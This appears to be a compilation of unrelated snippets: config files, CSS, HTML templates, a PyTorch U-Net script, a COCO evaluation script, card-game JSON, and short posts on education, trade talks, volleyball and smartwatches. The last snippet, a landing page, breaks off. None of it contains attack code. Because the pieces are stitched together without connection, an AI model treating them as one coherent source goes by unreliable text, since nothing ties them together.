{ "name": "electron-boilerplate", "version": "1.0.0", "description": "", "main": "main.js", "scripts": { "start": "electron ./app/dev-main.js", "test": "echo \"Error: no test specified\" && exit 1", "clean": "rimraf build release", "build:html": "useref ./app/src/static/index.html build", "build:js": "webpack", "build:package": "node build.js", "build": "npm run clean && npm run build:html && npm run build:js && npm run build:package" }, "repository": { "type": "git", "url": "git+https://github.com/remew/electron-boilerplate.git" }, "author": "remew", "license": "MIT", "bugs": { "url": "https://github.com/remew/electron-boilerplate/issues" }, "homepage": "https://github.com/remew/electron-boilerplate#readme", "dependencies": { "electron": "^1.6.11", "react": "^15.6.1", "react-dom": "^15.6.1" }, "devDependencies": { "babel-core": "^6.25.0", "babel-loader": "^7.1.1", "babel-preset-react": "^6.24.1", "cp": "^0.2.0", "electron-packager": "^8.7.2", "html-webpack-plugin": "^2.30.1", "mkdirp": "^0.5.1", "rimraf": "^2.6.1", "useref-cli": "^1.0.0", "webpack": "^3.4.1", "webpack-dev-server": "^2.6.1" } }
json
<filename>angular/src/app/pages/home/home.component.css<gh_stars>0 header { margin: 0; } .background { background: linear-gradient(145deg, rgb(13, 71, 161), rgb(25, 118, 210)); box-sizing: border-box; color: white; height: 80vh; margin: 0; max-height: 560px; min-height: 480px; overflow: hidden; padding: 48px 48px 32px; position: absolute; transform: skewY(8deg); transform-origin: 100%; width: 100%; } section#intro { align-items: center; display: flex; height: 480px; margin: 0 auto -32px; padding: 48px 0 0; position: relative; width: 900px; } section#intro .hero-logo { background-image: url('../../../assets/images/angular.svg'); background-position: center; background-repeat: no-repeat; background-size: contain; flex: 1; height: 400px; margin-bottom: 8px; } section#intro .container { flex: 1; margin: -7% auto 0; padding-bottom: 0; padding-top: 0; } section#intro .container > p { color: white; font-size: 4rem; font-weight: 500; margin: 32px 0; } section#intro .container > a { background-color: #444; border: none; border-radius: 48px; box-shadow: 0 2px 5px #00000042; box-sizing: border-box; color: #7fc9ff; cursor: pointer; font-size: 1.8rem; font-weight: 600; line-height: 4rem; margin-bottom: 4px; overflow: hidden; padding: 8px 34px; text-decoration: none; } section#intro .container > a:hover { text-decoration: underline; } article { box-sizing: border-box; margin: 0 auto; padding: 3rem; } article .rows { border-bottom: 1px solid #6E6E6E; } article .rows.hiddenDivider { border-bottom: 0 } .describe { align-items: center; box-sizing: border-box; display: flex; flex-direction: row; justify-content: center; margin: 32px auto; max-width: 920px; } .describe.rowReverse { flex-direction: row-reverse; } .describe .image { height: auto; margin: auto; max-width: 90% !important; } .textContainer { max-width: 40%; padding-right: 5%; } .describe .title { color: #7fc9ff; font-size: 2rem; font-weight: 500; margin-top: 10px; } .describe p, .label { color: white; font-size: 1.6rem; font-weight: 400; line-height: 3.2rem; margin: 1rem 0; margin-block-end: 1em; margin-block-start: 1em; margin-inline-end: 0; margin-inline-start: 0; } .card { align-items: center; background-color: #444; border-radius: 4px; box-sizing: border-box; color: #7fc9ff; cursor: pointer; display: flex; flex-direction: row; justify-content: center; padding: 24px; text-decoration: none; width: 51%; } .card:hover { text-decoration: underline; } .card .image { margin: 16px; max-width: 100% !important; } .card .labelContainer { margin: 0 16px; } .card p { margin: 0; padding: 8px 0; }
css
<reponame>naiyt/steamplaytime<gh_stars>1-10 {% extends "base.html" %} {% block head %} {{ super() }} <title>Steam Playtime</title> {% endblock %} {% block content %} <h2 class="center">So, uh, what's the point?</h2> <p>Years of great Steam Sales have resulted in many of us having huge Steam libraries, full of games we have never played. Every sale we tell ourselves that we'll limit the amount we spend on this year's sale. This time we'll be strong. But when Random Game #325 goes on sale for $2.00 - $5.00, we throw our money at the monitor without a second thought.</p> <p>I was curious how many hours it would actually take to complete all of the games in my Steam Library. Thus, the idea for this site was born.</p> <p>It's really just a fun gimmick, but hopefully it will be one of two things for people:</p> <ul> <li>When people see how many hours of gameplay they already have, it will perhaps help them have more self control during the next Steam Sale</li> <li>Be merely a fun way to see how much gameplay they could get out of their current Steam Library, and subsequently its worth</li> </ul> <p>The gameplay times are gathered/estimated from the great site <a href="http://howlongtobeat.com">HowLongToBeat.com</a>.</p> <br> <h2 class="center">Future Features/To Do</h2> <ul> <li>Keep <a href="unlistedgames">improving the database</a>, so that the times continue to be more accurate.</li> <li>Allow you to choose whether to include multiplayer only games in your count. Currently it's all lumped together, and playtimes on mp only games can vary widely. Not including mp only games will probably be the default.</li> </ul> {% endblock content %}
html
<filename>templates/settings/ship_assignment/collection_edit.html {% extends "settings/base.html" %} {% block title %}{{ _('Settings') }} - {{ _('Ship Classification Selection') }}{% endblock %} {% block head %} {{ super() }} {% assets filters="babili", output="gen/ass_coll_edit.%(version)s.js", "js/ship_assignment/collection.js", "js/ship_assignment/collection_edit.js" %} <script type="text/javascript" src="{{ ASSET_URL }}"></script> {% endassets %} {% endblock %} {% block raw_content %} <div class="row mb-3"> <form class="form" autocomplete="off" action="{{ url_for('ship_assignment.collection_change', coll_id=coll.checkCollectionID) }}" method="POST"> <input type="hidden" name="_csrf_token" value="{{ csrf_token() }}"> <div class="form-group"> <label for="coll_edit_name">{{ _('Collection Name') }}</label> <input class="form-control" type="text" id="coll_edit_name" name="coll_name" value="{{ coll.checkCollectionName }}" maxlength="50"> </div> <div class="form-group mr-1"> <label for="wl_group_id_select">Group</label> <select class="custom-select" id="wl_group_id_select" name="group_id"> {% for group in groups %} <option value="{{ group.groupID }}"{% if group.groupID == coll.waitlistGroupID %}selected{% endif %}>{{ group.displayName }}</option> {% endfor %} </select> </div> <div class="form-group mr-1"> <label for="default_target_id">{{ _('Target if no rule matches') }}</label> <!-- This gets elements unhidden/enabled based on the selection above --> <select class="custom-select" id="default_target_id" name="target_id"> {% for group in groups %} {% for list in group.waitlists if list.id != group.queueID %} <option data-group="{{ group.groupID }}" value="{{ list.id }}"{% if list.id == coll.defaultTargetID %} selected{% endif %}{% if group.groupID != coll.waitlistGroupID %} hidden disabled{% endif %}>{{ list.displayTitle }}</option> {% endfor %} {% endfor %} </select> </div> <div class="form-group mr-1"> <label for="coll_edit_tag">{{ _('Default Tag') }}</label> <input class="form-control" type="text" id="coll_edit_tag" name="tag" value="{{ coll.defaultTag }}" maxlength="20"> </div> <button type="submit" class="btn btn-primary">{{ _('Change Collection Information') }}</button> </form> </div> <div class="row mb-3"> <form class="form" autocomplete="off" action="{{ url_for('ship_assignment.check_add', coll_id=coll.checkCollectionID) }}" method="POST"> <input type="hidden" name="_csrf_token" value="{{ csrf_token() }}"> <input type="hidden" name="coll_id" value="{{ coll.checkCollectionID }}"> <div class="form-group"> <label for="check_add_name">{{ _('Check Name') }}</label> <input class="form-control" type="text" id="check_add_name" name="check_name" maxlength="100" required> </div> <div class="form-group"> <label for="check_type">{{ _('Check Type') }}</label> <select class="custom-select" id="check_type" name="check_type" required> <option value="" disabled selected>{{ _('Please Select') }}</option> {% for i in check_type_map %} <option value="{{ i }}">{{ check_type_map[i] }}</option> {% endfor %} </select> </div> <div class="form-group"> <label for="check_target">{{ _('Check Target') }}</label> <select class="custom-select" id="check_target" name="check_target" required> {% for wl in coll.waitlistGroup.waitlists if wl.id != coll.waitlistGroup.queueID %} <option value="{{ wl.id }}">{{ wl.displayTitle }}</option> {% endfor %} </select> </div> <div class="form-group"> <label for="check_add_order">{{ _('Check Order') }}</label> <input class="form-control" type="number" placeholder="lower is applied first" id="check_add_order" name="order" required> </div> <div class="form-group"> <label for="check_add_modifier">{{ _('Check Modifier') }}</label> <input class="form-control" type="text" id="check_add_modifier" name="modifier" value="1.00"> </div> <div class="form-group"> <label for="check_add_ids">{{ _('IDs comma seperated') }}</label> <input class="form-control" type="text" id="check_add_ids" placeholder="1,2,3,4,5" name="ids" required> </div> <div class="form-group"> <label for="check_add_rest_type_ids">{{ _('Restrict by Type') }}</label> <input class="form-control" type="text" id="check_add_rest_type_ids" placeholder="1,2,3" name="rest_typeids"> </div> <div class="form-group"> <label for="check_add_rest_invgroup_ids">{{ _('Restrict by Inventory Group') }}</label> <input class="form-control" type="text" id="check_add_rest_invgroup_ids" placeholder="1,2,3" name="rest_invgroupids"> </div> <div class="form-group"> <label for="check_add_rest_mgroup_ids">{{ _('Restrict by Market Group') }}</label> <input class="form-control" type="text" id="check_add_rest_mgroup_ids" placeholder="1,2,3" name="rest_mgroupids"> </div> <div class="form-group"> <label for="check_add_tag">{{ _('Tag') }}</label> <input class="form-control" type="text" id="check_add_tag" name="tag" maxlength="20" required> </div> <button class="btn btn-primary" type="submit">{{ _('Add Check') }}</button> </form> </div> <div class="row mb-3"> <form class="form form-inline" action="{{ url_for('ship_assignment.check_delete') }}" method="POST"> <input type="hidden" name="_csrf_token" value="{{ csrf_token() }}"> <div class="form-group mr-1"> <label for="check_delete_id">{{ _('Check to Delete') }}</label> <select class="custom-select" id="check_delete_id" name="check_id"> {% for check in coll.checks %} <option value="{{ check.checkID }}">{{ check.checkName }}</option> {% endfor %} </select> </div> <button class="btn btn-danger" type="submit">{{ _('Delete Check') }}</button> </form> </div> <div class="row mb-3"> <table class="table table-responsive" id="checks_table"> <thead> <th>{{ _('Name') }}</th><th>{{ _('Actions') }}</th><th>{{ _('Target') }}</th><th>{{ _('Type') }}</th><th>{{ _('Tag') }}</th><th>{{ _('Order') }}</th><th>{{ _('modifier') }}</th><th>{{ _('TypeIDs') }}</th><th>{{ _('R by Type') }}<th>{{ _('R by InvGroup') }}<th>{{ _('R by Market Group') }} </thead> <tbody> {% for check in coll.checks %} <tr> <td>{{ check.checkName }}</td> <td><a class="btn btn-primary" href="{{url_for('ship_assignment.check_edit', check_id=check.checkID)}}">{{ _('Edit') }}</a></td> <td>{{ check.checkTargetID }}</td> <td>{{ check_type_map[check.checkType] }}</td> <td>{{ check.checkTag }}</td> <td>{{ check.order }}</td> <td>{{ check.modifier }}</th> <td>{% for tp in check.ids %}{{ get_pk(tp)[0] }}{% if not loop.last %},{% endif %}{% endfor %}</td> <td>{% for type in check.check_rest_types %}{{ get_pk(type)[0] }}{% if not loop.last %},{% endif %}{% endfor %} <td>{% for type in check.check_rest_groups %}{{ get_pk(type)[0] }}{% if not loop.last %},{% endif %}{% endfor %} <td>{% for type in check.check_rest_market_groups %}{{ get_pk(type)[0] }}{% if not loop.last %},{% endif %}{% endfor %} </tr> {% endfor %} </tbody> </table> </div> {% endblock %}
html
The following minnows has been randomly selected from my list of followers, based on the following selection criteria. ☣️ Your post is not classed as nsfw. ☣️ Your post is no more than 5 days old. ☣️ Your reputation is above 25 and below 55. ☣️ Your post had more than 1000 characters in the body. ☣️ Your post has not been identified by cheetah as possible plagiarism. Here is the post the minnow pat on the back bot upvoted on for @ianaltosaar, and a little bit about them. Image source: You go to work. You do something meaningless there. You go out for drinks. It’s still empty inside. You go home with somebody. For a moment that pain stops. And the search to fill that void starts again. You go to work. Something even more meaningless awaits You. You fool Yourself into thinking that work matters. It doesn’t. You want to believe someone cares at work. Here is the post the minnow pat on the back bot upvoted on for @josech, and a little bit about them. Hola vengo a hablaros de un álbum de la legendaria banda Black Sabbatsh que para mi contiene una de las mejores canciones de la historia. Hablo del álbum "Heaven and Hell". Casi imposible que no conozcas a esta mitiquísima banda. Aun así te la presento. If you like what I do, why not sponsor me for some @steembasicincome shares. You can also upvote my posts to show some love :) Another initiative I started up is my @steeming-hot free resteem and up vote bot. @steeming-hot is a resteem bot with a difference, it gives out free resteems and up votes each day to random followers. A while ago I wrote a couple of articles with handy advice for minnows, here they are and I encourage minnows to have a read. There are a great bunch of people at the Minnow Support Project who are doing some really good things in order ot help minnows. I recommend checking them out. Here is a link to their website.
english
<gh_stars>0 {"data":{"ID":"sm6-33","Name":"Araquanid","Supertype":"Pokémon","Subtypes":["Stage 1"],"HP":"100","Types":["Water"],"EvolvesFrom":"Dewpider","Rules":null,"Attacks":[{"Name":"Bubble","Cost":["Water"],"ConvertedEnergyCost":1,"Damage":"30","Text":"Flip a coin. If heads, your opponent's Active Pokémon is now Paralyzed."},{"Name":"Bubble Trap","Cost":["Colorless","Colorless"],"ConvertedEnergyCost":2,"Damage":"40+","Text":"If 1 of your Pokémon used Bubble during your last turn, this attack does 80 more damage."}],"Weaknesses":[{"Type":"Grass","Value":"×2"}],"RetreatCost":["Colorless"],"ConvertedRetreatCost":1,"Set":{"ID":"sm6","Name":"Forbidden Light","Series":"Sun \u0026 Moon","PrintedTotal":131,"Total":150,"Legalities":{"expanded":"Legal","unlimited":"Legal"},"PtcgoCode":"FLI","ReleaseDate":"2018/05/04","UpdatedAt":"2019/02/19 23:25:00","Images":{"logo":"https://images.pokemontcg.io/sm6/logo.png","symbol":"https://images.pokemontcg.io/sm6/symbol.png"}},"Number":"33","Artist":"kodama","Rarity":"Uncommon","NationalPokedexNumbers":[752],"Legalities":{"expanded":"Legal","unlimited":"Legal"},"RegulationMark":"","Images":{"large":"https://images.pokemontcg.io/sm6/33_hires.png","small":"https://images.pokemontcg.io/sm6/33.png"},"CardMarket":{"URL":"https://prices.pokemontcg.io/cardmarket/sm6-33","UpdatedAt":"2022/03/14","Prices":{"AverageSellPrice":0.12,"LowPrice":0.02,"TrendPrice":0.11,"ReverseHoloTrend":0.47,"Avg1":0.05,"Avg7":0.12,"Avg30":0.06,"ReverseHoloAvg1":2,"ReverseHoloAvg7":0.61,"ReverseHoloAvg30":0.39}}}}
json
<filename>docs/stories/Card.stories.tsx import { ComponentMeta, ComponentStory } from '@storybook/react'; import { jsx } from '@theme-ui/core'; import { Card, CardBody, CardFooter, CardHeading, Heading, Loader, Paragraph } from '../../lib'; export default { title: 'Layout/Card', component: Card } as ComponentMeta<typeof Card>; const Template: ComponentStory<typeof Card> = args => ( <Card {...args}> <CardHeading> <Heading>Card heading</Heading> <Loader /> </CardHeading> <CardBody> <Paragraph> Lorem ipsum, dolor sit amet consectetur adipisicing elit. Ducimus vero dolore dolorum amet similique qui ipsa, tempora quisquam sit eveniet laudantium. Modi esse voluptas odit accusamus libero excepturi ullam amet. </Paragraph> </CardBody> <CardFooter></CardFooter> </Card> ); export const Basic = Template.bind({}); Basic.args = { size: 'small' };
typescript
<gh_stars>1-10 { "extends": [ "macklinu", "macklinu/react", "macklinu/jest", "macklinu/typescript" ] }
json
Learning etc which is now gaining momentum and importance in Indian families. One of the most important learning from this 4month+ lockdown is there is a need for students, school, and parents to be future-ready and continue working in improving their learning methods, so that, any catastrophe won’t disrupt and interfere in the education of students as it will not be dependent on anyone other than the students itself. Democratic education- Do what you love! - Following our Prime Minister's motto of being 'atmanirbhar' (meaning self-sufficient), Democratic education allows the students to be atmanirbhar. It is the dissolution of education and aims to empower the students to be self-sufficient and self-determined for their education. - Dematerialism will pave the way for democratic education as it does not allow room for competition for wealth & power and the broader aim will be to promote universal happiness along with individual growth in accordance to one's needs. - They won't have their teachers around them all the time, there will be some authority on them to ensure discipline and safety of the students and of course mutual respect, but it won't be authoritarian. The students will be guided by the teacher, but won't be the center that drives the learning process. - We hear many stories about school students suffering from various mental health issues because of reasons like exam pressure, rote studies, tight schedules, parental pressure, peer-pressure etc or just unsatisfied and unhappy with their studies or subjects. - In order to make students ''atmanirbhar' it is very important to get them involved and make them a part of their learning process rather than being instructed and controlled by the school authorities. - When students are allowed to choose the topics they wish to study, the method to follow to study that topic, it empowers the students, promotes a happy environment and pushes the momentum of the learning process.
english
The legal age limit for Instagram users is thirteen. New research offers deeper insights into our natural aging process. 'Industry' is like if some 'Skins' characters grew up and decided to sell their souls in growth stocks. Twitter turning into the biggest COVID-19 helpline in 2021 is a twist that nobody saw coming. It's worth mentioning that you can already use your smartphone to track your pulse and respiration with the Google Fit app. "New Haters Needed, Old One's Have Become Fans" What Is ‘Quiet Quitting’? Why Are Major Companies Worried About This Bizarre Phenomenon? A TikTok trend or a covenant for a healthy career? 'The Priest' is streaming on Amazon Prime Video.
english
Rio de Janeiro, June 7: Hosts Brazil have been drawn in the same pool as World Cup winners USA, runners-up Italy and European champions France at this year’s Olympic Games in Rio de Janeiro, world volleyball governing body FIVB has said. The two Rio 2016 pools of six teams each were announced on Monday after Poland, Iran, France, Cada and Mexico clinched the fil spots at the Olympic qualification tourments in Japan and Mexico on Sunday, reports Xinhua. The top four teams from each pool will advance to the knockout phase. Brazil, who won gold at the 2004 Games in Athens, have been runners-up in the past two Olympic men’s volleyball fils. They lost to Russia in London four years ago and the United States at the Beijing 2008 Games. The Rio 2016 Olympic men’s volleyball tourment runs from August 7-21. Olympic men’s volleyball pools:
english
Union Minister of Commerce and Industry, Consumer Affairs, Food and Public Distribution and Textiles, Shri Piyush Goyal visited Saudi Arabia from 18th to 19th September 2022 to attend the Ministerial meeting of the India-Saudi Arabia Strategic Partnership Council. Along with Shri Goyal, Saudi Minister for Energy, His Royal Highness Prince Abdulaziz bin Salman Al-Saud co-chaired the Ministerial meeting of the Committee on Economy and Investments of the India-Saudi Arabia Strategic Partnership Council. The Strategic Partnership Council was instituted in October, 2019 during the visit of the Prime Minister of India to the Kingdom of Saudi Arabia and has two main pillars i.e. Political, Security, Social and Cultural Committee and the Committee on Economy and Investments. The notable outcomes of the Ministerial Meeting are: - Streamlining efforts to realize the announcement made by His Royal Highness Crown Prince Mohammad Bin Salman, during his visit to India in February 2019, of investments worth USD 100 Billion in India. - Endorsement of the 41 areas of cooperation identified by the technical teams under the 4 broad domains of Agriculture & Food Security; Energy; Technology & IT; and Industry & Infrastructure. - Agreement to undertake implementation of the priority projects in a time bound manner. Priority areas of cooperation include: During the visit, Hon’ble Minister met H.E. Dr. Majid bin Abdullah Al-Kassabi, Minister of Commerce of Saudi Arabia, and held wide ranging discussions on the entire gamut of bilateral trade, commerce and investments linkages. Diversification and expansion of trade and commerce, removal of trade barriers, including the outstanding issues related to sanitary and phytosanitary measures and trade remedies, automatic registration and marketing authorization of Indian pharma products in Saudi Arabia, feasibility of institutionalizing Rupee-Riyal trade, introduction of UPI and Rupay cards in Saudi Arabia; were amongst the key points of discussion. “Had a fruitful meeting with H.E. Dr. Majid bin Abdullah Al-Kassabi, Minister of Commerce, KSA. Discussed ways to attract greater investment & further diversify bilateral trade to boost economic ties between India & Saudi Arabia”, the Minister tweeted after the meeting. Hon’ble Minister also met H.E. Mr. Khalid Al-Salem, President of Royal Commission of Jubail and Yanbu, H.E. Eng. Saad Al-Khalb, CEO of Saudi EXIM Bank, and other senior officials of the Ministry of Industry, Saudi Arabia. Discussions were held on a wide range of topics such as institutional tie-up of the EXIM banks of the two countries, joint projects in third countries, mutual recognition of standards, establishment of startup and innovation bridge, strengthening collaboration in infrastructure development, particularly in the domains of construction, railways, industrial and manufacturing collaboration in Pharmaceuticals, Automobiles, Petrochemicals, Specialty chemicals, Technical textiles, mining and increasing project exports from India. “Had a productive meeting with H.E. Mr. Khalid Al-Salem , Chairman of the Royal Commission for Jubail & Yanbu, Saudi Arabia. Identified a range of mutually beneficial opportunities to further strengthen economic cooperation between the two countries”, Shri Goyal tweeted on his meeting with H.E. Mr. Khalid Al-Salem. During the visit, Hon’ble Minister also participated in a CEO Roundtable with prominent businessmen in Saudi Arabia. Discussions focused on encouraging increasing exports from India, facilitating inward investments into India, innovative ways and means of deepening and broad basing bilateral economic linkages. “Had an enriching interaction with CEOs of companies from different sectors in Saudi Arabia. Delighted to see their enthusiasm towards further strengthening trade & investment linkages between the two countries”, he tweeted about the interaction. Shri Goyal also interacted with HRH Prince Abdulaziz bin Salman Al Saud, Minister of Energy, Saudi Arabia. “Discussed how energy security with climate change sensitivity can deliver economic growth & prosperity. Deliberated on stronger partnership in renewable energy between our two countries”, he tweeted about the meeting. Shri Goyal also inaugurated "The India Week" in Riyadh as part of the ongoing efforts of Embassy of India in Riyadh to celebrate Indian products especially Food products like Millets, Textiles etc. “Brand India shining bright in Saudi Arabia!” the Minister tweeted. On his visit, the Minister was accompanied by a delegation comprising officials of the ranks of Additional Secretaries and Joint Secretaries from the Ministries of Agriculture, Commerce, Electronics and IT and from NITI Aayog.
english
<gh_stars>0 { "name": "fcf-compiler", "version": "0.1.0", "description": "Compiles scores from Fake College Football games for easy analysis", "main": "index.js", "repository": "https://github.com/w-biggs/FCFCompiler.git", "author": "wilsonbiggs <<EMAIL>>", "license": "MIT", "dependencies": { "googleapis": "27" }, "scripts": { "single": "node scripts/single.js", "fcs": "node scripts/fcs.js", "game": "node scripts/game.js", "stats": "node scripts/stats.js", "week": "node scripts/week.js" } }
json
import torch import torchvision import torchvision.transforms as transforms import torch.nn.functional as F from torch import nn import os import matplotlib.pyplot as plt import sys import numpy as np sys.path.append('./') from args import opt sys.path.append('./lib/') from dataset import FruitFlyNeuronDataset from cv2transforms import composed_transforms, RandomExtract from utils import show_img, show_patches, initialize_weights patch_h = int(opt.patch_height) patch_w = int(opt.patch_width) N_patches = int(opt.N_subimgs) root_dir = opt.root_dir training_dir = {_: os.path.join(root_dir, _) for _ in ['images', '1st_manual', 'mask']} compose = composed_transforms() # imgs_dataset = FruitFlyNeuronDataset(root_dir=training_dir, transforms=compose) # comp_imgs_dataset = FruitFlyNeuronDataset(root_dir=training_dir) # for i in range(len(imgs_dataset)): # show_img(imgs_dataset[i]) # show_img(comp_imgs_dataset[i]) # if i == 3: # plt.show() # break training_dataset = FruitFlyNeuronDataset( root_dir=training_dir, transforms=compose) full_imgs = np.empty((20, 584, 565)) full_masks = np.empty((20, 584, 565)) for i in range(len(training_dataset)): full_imgs[i] = training_dataset[i]['images'] full_masks[i] = training_dataset[i]['mask'] full_imgs = np.reshape(full_imgs, (20, 584, 565, 1)).transpose((0, 3, 1, 2)) full_masks = np.reshape(full_masks, (20, 584, 565, 1)).transpose((0, 3, 1, 2)) rx = RandomExtract(patch_h=patch_h, patch_w=patch_w, N_patches=N_patches) patches, patches_masks = rx(full_imgs=full_imgs, full_masks=full_masks) show_patches(patches, patches_masks) class _EncoderBlock(nn.Module): def __init__(self, in_channels, out_channels, dropout=False): super(_EncoderBlock, self).__init__() layers = [ nn.Conv2d(in_channels, out_channels, kernel_size=3), nn.BatchNorm2d(out_channels), nn.ReLU(inplace=True), nn.Conv2d(out_channels, out_channels, kernel_size=3), nn.BatchNorm2d(out_channels), nn.ReLU(inplace=True), ] if dropout: layers.append(nn.Dropout()) layers.append(nn.MaxPool2d(kernel_size=2, stride=2)) self.encode = nn.Sequential(*layers) def forward(self, x): return self.encode(x) class _DecoderBlock(nn.Module): def __init__(self, in_channels, middle_channels, out_channels): super(_DecoderBlock, self).__init__() self.decode = nn.Sequential( nn.Conv2d(in_channels, middle_channels, kernel_size=3), nn.BatchNorm2d(middle_channels), nn.ReLU(inplace=True), nn.Conv2d(middle_channels, middle_channels, kernel_size=3), nn.BatchNorm2d(middle_channels), nn.ReLU(inplace=True), nn.ConvTranspose2d(middle_channels, out_channels, kernel_size=2, stride=2), ) def forward(self, x): return self.decode(x) # U-Net model class UNet(nn.Module): def __init__(self, num_classes): super(UNet, self).__init__() self.enc1 = _EncoderBlock(3, 64) self.enc2 = _EncoderBlock(64, 128) self.enc3 = _EncoderBlock(128, 256) self.enc4 = _EncoderBlock(256, 512, dropout=True) self.center = _DecoderBlock(512, 1024, 512) self.dec4 = _DecoderBlock(1024, 512, 256) self.dec3 = _DecoderBlock(512, 256, 128) self.dec2 = _DecoderBlock(256, 128, 64) self.dec1 = nn.Sequential( nn.Conv2d(128, 64, kernel_size=3), nn.BatchNorm2d(64), nn.ReLU(inplace=True), nn.Conv2d(64, 64, kernel_size=3), nn.BatchNorm2d(64), nn.ReLU(inplace=True), ) self.final = nn.Conv2d(64, num_classes, kernel_size=1) initialize_weights(self) def forward(self, x): enc1 = self.enc1(x) enc2 = self.enc2(enc1) enc3 = self.enc3(enc2) enc4 = self.enc4(enc3) center = self.center(enc4) dec4 = self.dec4( torch.cat([center, F.upsample(enc4, center.size()[2:], mode='bilinear')], 1)) dec3 = self.dec3( torch.cat([dec4, F.upsample(enc3, dec4.size()[2:], mode='bilinear')], 1)) dec2 = self.dec2( torch.cat([dec3, F.upsample(enc2, dec3.size()[2:], mode='bilinear')], 1)) dec1 = self.dec1( torch.cat([dec2, F.upsample(enc1, dec2.size()[2:], mode='bilinear')], 1)) final = self.final(dec1) return F.upsample(final, x.size()[2:], mode='bilinear') net = UNet(10) print(net)
python
import argparse from pycocotools.coco import COCO from pycocotools.cocoeval import COCOeval import sys sys.path.append('.') def parse_args(): parser = argparse.ArgumentParser() parser.add_argument('res', type=str) parser.add_argument('gt', type=str) args = parser.parse_args() return args def main(args): evaluate(args.res, args.gt) def evaluate(res_file, gt_file): annType = 'segm' cocoGt = COCO(gt_file) cocoDt = cocoGt.loadRes(res_file) cocoEval = COCOeval(cocoGt, cocoDt, annType) cocoEval.params.imgIds = cocoGt.getImgIds() cocoEval.evaluate() cocoEval.accumulate() cocoEval.summarize() if __name__ == "__main__": args = parse_args() main(args)
python
Health and fitness has never been more popular in our society, and we’re seeing some tremendously exciting breakthroughs in tech to aid our self-betterment. The Jarv Advantage Water-Resistant Smartwatch is one such development, the perfect workout companion and life assistant. Track your steps, calories burned, sleep and so much more, while enjoying standard smartwatch notifications such as incoming calls, texts and social media alerts, with your own Jarv Advantage at 30 percent off from TNW Deals. Track all of your fitness goals with the Jarv Advantage, a stylish and sturdy smartwatch with a thin, ergonomic design and a comfortable, bio-compatible TPU wristband. It weighs less than an ounce and is an ultra-slim 0.3-inches thick, as unobtrusive as they come in the field of smartwatches. It’s waterproof, able to withstand up to one meter of immersion for up to 30 minutes, so you don’t have to think twice about heading straight to the showers after an intense workout. An ultra low-power three-axis accelerometer keeps track of your motion, with a rechargeable Li-polymer battery that lasts up to ten days on a two-hour charge. Your smartphone app will deliver a signal from up to 33 feet, even alerting you when UV levels are getting high. At just $69.99 from TNW Deals, the Jarv Advantage is your ideal smartwatch and fitness tracker, helping you conquer your fitness goals without breaking the bank. Get the most important tech news in your inbox each week.
english
<gh_stars>0 import { mapState } from 'vuex' const tableMixin = { data () { return { tableSize1: '', lastName: '' } }, computed: { ...mapState({ tableBordered: state => state.app.tableBordered }), tableSize: { get () { return this.tableSize1 || this.$store.state.app.tableSize }, set (value) { this.tableSize1 = value } } } } export { tableMixin }
javascript
A set of scripts and stuff written in scala as I go through the book Programming in Scala.
markdown
<!DOCTYPE html> <html lang="en" > <head> <meta charset="UTF-8"> <title>Product Test </title> <link rel='stylesheet' href='https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.0.0-alpha.6/css/bootstrap.min.css'> <link rel='stylesheet' href='https://cdnjs.cloudflare.com/ajax/libs/animate.css/3.5.2/animate.min.css'> <link rel="stylesheet" href="./style.css"> </head> <body> <!-- partial:index.partial.html --> <!-- START --> <header id="header"> <nav class="navbar fixed-top navbar-light bg-faded" id="nav-bar"><a class="navbar-brand" href="#"><img id="header-img" src="#" alt="brand-logo"/><span>&nbsp; Furry Feels</span></a> <ul class="nav" id="real-nav"> <li class="nav-item"><a class="anchor nav-link active" href="#about">About</a></li> <li class="nav-item"><a class="anchor nav-link" href="#process">How it Works</a></li> <li class="nav-item"><a class="anchor nav-link" href="#offer">Pricing</a></li> </ul> </nav> </header> <main class="text-center"> <section class="jump"> <h1 class="animated focus" id="lead">Get Snuggled</h1> <h2 id="tagline">Easing grief, stress, and loneliness through friendly pet visits. </h2> <form id="form" action="https://www.freecodecamp.com/email-submit"> <input id="email" type="email" name="email" placeholder="Enter your email address" required="required"/> <input class="btn" id="submit" type="submit" value="Get Started"/> </form> </section> <section class="jump" id="about"><a name="about"></a> <h2 class="lead">What is a Therapy Pet?</h2> <p>Therapy pets go with their owners to volunteer in settings such as work, schools, hospitals, and nursing homes. From working with a child who is learning to read to visiting a senior in assisted living, therapy dogs and their owners work together as a team to improves the lives of other people. Therapy pets are not service animals. A therapy pet doesn't need to be perfect as far as obedience is concerned, but they do need a solid friendly temperament and an ability to shine in various situations. Any type of activity with the owner and pet strengthens the pet/human bond. That's priceless! In addition to strengthening that bond, the rewards of easing grief, stress, and loneliness through friendly pet visits are immeasurable. </p> </section> <section class="jump" id="process"><a name="process"></a> <h2 class="lead">How it Works</h2> <p> Once you choose and establish your bond with your furry friend(s) (some coaching/training assistance will be provided), you may visit your friend(s) at one of our facilities, arrange home visits and field trips at your convenincce or need level. </p> <iframe id="video" src="https://www.youtube.com/embed/hhoQqN9oUpo" frameborder="0" allowfullscreen="allowfullscreen"></iframe> </section> <section class="jump" id="offer"><a name="offer"></a> <h2 class="lead">Offerings</h2> <div id="pricing"> <div class="container"> <ul class="price-tbl"> <li class="tbl-block"> <h3>Simple Snuggle</h3> <div class="price"><span>8.99</span>&nbsp; Per Month</div> <ul class="features"> <li> <strong>Small&nbsp;</strong>Sized Feels</li> <li> <strong>1&nbsp;</strong>Pet Friend(s)</li> <li><strong>1&nbsp;</strong>Monthly Visits</li> <li><strong>1&nbsp;</strong>Field Trips</li> <li><strong>30&nbsp;</strong>Minute Sessions</li> <li>24/7 Trainer Support</li> </ul> <div><a class="btn btn-primary" href="#">Subscribe</a></div> </li> </ul> </div> <div class="container"> <ul class="price-tbl"> <li class="tbl-block"> <h3>Standard Snuggle</h3> <div class="price"><span>14.99</span>&nbsp; Per Month</div> <ul class="features"> <li> <strong>Medium&nbsp;</strong>Sized Feels</li> <li> <strong>2&nbsp;</strong>Pet Friend(s)</li> <li><strong>2&nbsp;</strong>Monthly Visits</li> <li><strong>2&nbsp;</strong>Field Trips</li> <li><strong>60&nbsp;</strong>Minute Sessions</li> <li>24/7 Trainer Support</li> </ul> <div><a class="btn btn-primary" href="#">Subscribe</a></div> </li> </ul> </div> <div class="container"> <ul class="price-tbl"> <li class="tbl-block"> <h3>Super Snuggle</h3> <div class="price"><span>19.99</span>&nbsp; Per Month</div> <ul class="features"> <li> <strong>Large&nbsp;</strong>Sized Feels</li> <li> <strong>3&nbsp;</strong>Pet Friend(s)</li> <li><strong>4&nbsp;</strong>Monthly 